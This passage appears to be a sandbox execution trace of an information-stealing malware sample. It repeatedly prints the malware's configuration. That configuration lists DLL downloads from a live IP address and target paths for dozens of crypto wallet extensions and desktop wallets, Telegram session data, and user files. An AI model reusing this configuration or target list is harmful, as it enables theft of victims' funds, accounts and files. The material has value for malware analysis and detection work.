Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.286] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6fe628 [0266.286] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.286] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x700f70 [0266.287] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.287] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x7038b8 [0266.287] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.287] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.287] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram 